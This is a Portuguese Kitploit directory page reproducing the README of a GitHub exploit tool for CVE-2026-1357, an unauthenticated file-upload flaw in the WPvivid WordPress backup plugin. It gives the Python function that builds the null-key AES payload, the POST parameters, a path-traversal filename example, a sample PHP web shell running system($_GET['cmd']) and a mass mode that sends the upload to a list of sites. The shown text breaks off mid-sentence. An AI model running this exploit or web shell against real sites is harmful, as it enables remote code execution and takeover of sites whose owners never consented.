Skip to content
KitploitKITPLOIT
FerramentasBlog
Log in
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-1357 — Migration, Backup, Staging <= 0.9.123 - Upload de Arquivo Arbitrário Não Autenticado | Kitploit
Ferramentas/GitHubGitHub/nxploited/cve-2026-1357
Geração de PayloadsAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoRed Teaming
GitHubnxploited/cve-2026-1357

CVE-2026-1357

Migration, Backup, Staging <= 0.9.123 - Upload de Arquivo Arbitrário Não Autenticado

Ver Repositório
19há 6 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

🧨 CVE-2026-1357 – Ferramenta de Exploração de Chave Nula WPvivid (CVE-2026-1357.py)

Migração, Backup, Staging – WPvivid Backup & Migration ≤ 0.9.123
Vulnerabilidade: Upload Arbitrário de Arquivo Não Autenticado → Execução Remota de Código
CVE: CVE-2026-1357 – CVSS 9.8 (Crítico)

GitHub: https://github.com/Nxploited
Telegram: @KNxploited


🧬 O Que Este Script Faz

Nxploited

CVE-2026-1357.py é uma ferramenta de exploração de prova de conceito para a vulnerabilidade WPvivid. Ela foca no tratamento defeituoso da sessão AES que permite a um invasor:

  1. Criptografar um payload com uma chave/IV AES nula (todos os bytes zero) no mesmo formato que o WPvivid espera.
  2. Inserir conteúdo arbitrário de arquivo (ex.: shell PHP) e um nome/caminho escolhido (name) no payload.
  3. Enviar este payload para o endpoint do WPvivid através do parâmetro wpvivid_action=send_to_site.
  4. (Opcionalmente) verificar se o arquivo foi gravado com sucesso e está acessível.

O script não tenta adivinhar ou abusar de chaves privadas diretamente. Em vez disso, ele simula o fluxo quebrado do WPvivid onde uma falha em openssl_private_decrypt() leva a cifra AES do phpseclib a ser inicializada com uma chave nula.


🧠 Detalhes Técnicos Internos

🔐 Payload de Chave Nula AES

O núcleo da exploração está em gen_wpvivid_payload():

  • Ele constrói uma estrutura JSON:

    {
      "name": "<file_name>",
      "offset": 0,
      "data": "<base64(file_bytes)>",
      "file_size": <len(file_bytes)>,
      "md5": "<md5(file_bytes)>"
    }
    
  • Ele serializa esse JSON (formato compacto, sem espaços).

  • Ele criptografa o JSON usando:

    • AES-128-CBC
    • key = b"\x00" * 16
    • iv = b"\x00" * 16
  • Em seguida, ele prefixa:

    • 3 bytes: "000" (um placeholder de campo de comprimento estático).
    • hexadecimal maiúsculo de 16 bytes: comprimento do cifra codificado como "{len(cipher):016X}".
  • O blob criptografado final é:

    "000" + <16-byte cipher length hex> + <raw AES-CBC ciphertext>
    
  • Este blob é codificado em base64 e retornado como o valor final de wpvivid_content.

Função:

def gen_wpvivid_payload(file_name: str, file_bytes: bytes) -> str:
    file_md5 = hashlib.md5(file_bytes).hexdigest()
    json_obj = {
        "name": file_name,
        "offset": 0,
        "data": base64.b64encode(file_bytes).decode(),
        "file_size": len(file_bytes),
        "md5": file_md5,
    }
    json_str = json.dumps(json_obj, separators=(",", ":")).encode()
    cipher = AES.new(NULL_KEY, AES.MODE_CBC, NULL_IV)
    encrypted = cipher.encrypt(pad(json_str, AES.block_size))
    key_len_field = b"000"
    cipherlen_field = f"{len(encrypted):016X}".encode()
    blob = key_len_field + cipherlen_field + encrypted
    return base64.b64encode(blob).decode()

Isso corresponde às expectativas de descriptografia do WPvivid no caminho de código vulnerável após a falha na descriptografia RSA.


🧰 Recursos e Modos

O script tem dois modos principais mais uma capacidade de teste em massa:

  1. mood1 – Gerador de Payload

    • Gera um valor wpvivid_content válido usando o truque de chave nula.
    • Suporta múltiplas formas de definir o conteúdo do arquivo.
    • Opcionalmente inicia o Testador em Massa contra uma lista de alvos.
  2. mood2 – Testador de Alvo Único

    • Usa um payload gerado anteriormente.
    • Testa um único alvo de ponta a ponta:
      • Envia o payload.
      • Constrói a URL esperada do arquivo resultante.
      • Verifica se o arquivo está acessível.
  3. Modo Massa (do mood1)

    • Envia um payload escolhido para múltiplos alvos a partir de um arquivo de lista.
    • Usa concorrência e uma barra de progresso.
    • Rastreia e registra uploads bem-sucedidos.

🚦 Executando o Script

python3 CVE-2026-1357.py

Você verá uma interface baseada em Rich com um banner e seleção de modo:

  • mood1 – Gerador de Payload
  • mood2 – Testador de Alvo Único

🧪 Modo: mood1 – Gerador de Payload

Propósito

  • Criar um payload de exploração (wpvivid_content) que codifica:
    • O caminho/nome do arquivo que você quer que o WPvivid grave.
    • O conteúdo do arquivo (shell, arquivo de teste, etc.).

Fluxo

  1. Seleção do modo

    Quando solicitado:

    Choose mode (mood1/mood2) [mood1]:
    

    Pressione Enter (padrão é mood1) ou digite mood1.

  2. Nome do arquivo alvo / caminho

    Você é questionado sobre:

    Target file name (e.g., Nx_.php or ../../public/Nx_.php):
    

    Exemplos:

    • Para colocar um arquivo no diretório de backup do WPvivid:

      Nx_.php
      
    • Para abusar de travessia de diretório (se permitido pelo alvo):

      ../../public_html/Nx_.php
      

    O valor vai para o campo name do payload JSON.

  3. Modo de entrada de conteúdo

    O script exibe três formas de definir o conteúdo do arquivo:

    • Modo 1: conteúdo de linha única.
    • Modo 2: conteúdo de múltiplas linhas (termina com EOF).
    • Modo 3: ler de um arquivo local (ex.: shell.php).

    Você é solicitado:

    Mode [1/2/3] [1]:
    
    • Modo 1 – Linha única

      Single line content:
      

      Exemplo de entrada:

      <?php phpinfo();
      
    • Modo 2 – Múltiplas linhas

      Enter file content, line by line. Type 'EOF' on its own line when done.
      

      Você pode colar ou digitar um script PHP de múltiplas linhas e depois terminar com EOF em sua própria linha:

      <?php
      echo "Nxploited shell";
      system($_GET['cmd'] ?? 'id');
      ?>
      EOF
      
    • Modo 3 – Arquivo local

      Local file path (e.g., shell.php):
      

      O script lê o arquivo inteiro em file_bytes.

  4. Geração do payload

    Uma vez que o conteúdo é capturado, o script:

    • Constrói o objeto JSON.
    • Criptografa com AES-CBC de chave nula.
    • Embrulha o blob binário.
    • Codifica em base64.

    Você vê uma saída como:

    Payload generated.
    Use the value after '=' as wpvivid_content.
    
    wpvivid_content=BASE64_BLOB_HERE
    

    E um arquivo wpvivid_payload.txt é gravado:

    file_name=Nx_.php
    wpvivid_content=BASE64_BLOB_HERE
    

Opcional: Modo Massa a partir de mood1

Após gerar o payload, o script pergunta:

Auto-send this payload to targets list (mass mode)? (y/N):

Se você responder y, ele inicia o modo massa com o payload e o nome de arquivo que você acabou de criar.


🌐 Modo Massa – Vários Alvos

Propósito

  • Pegar um único payload de exploração e testá-lo contra uma lista de alvos.

Fluxo

  1. Arquivo de alvos

    Exemplo de prompt:

    Targets list file (one URL per line):
    

    Formato esperado do arquivo (ex.: targets.txt):

    https://site1.com
    site2.com
    http://site3.net
    

    O script normalizará automaticamente as URLs base (adicionando esquema quando ausente).

  2. Número de threads

    Threads (concurrent sites) [5]:
    

    Controla quantos sites são processados em paralelo.

  3. Lógica por alvo

    Para cada alvo:

    • Normaliza URL → base_url.

    • Chama:

      send_wpvivid_payload(base_url, payload)
      

      que:

      • Constrói um POST com wpvivid_action=send_to_site + wpvivid_content=<payload>.
      • Envia através de uma nova sessão com configurações de pool de conexão ajustadas.
      • Verifica se a resposta contém {"result":"success"} (verificação de formato compacto).
    • Se o upload for considerado bem-sucedido:

      • Constrói shell_url como:
Baixar ferramenta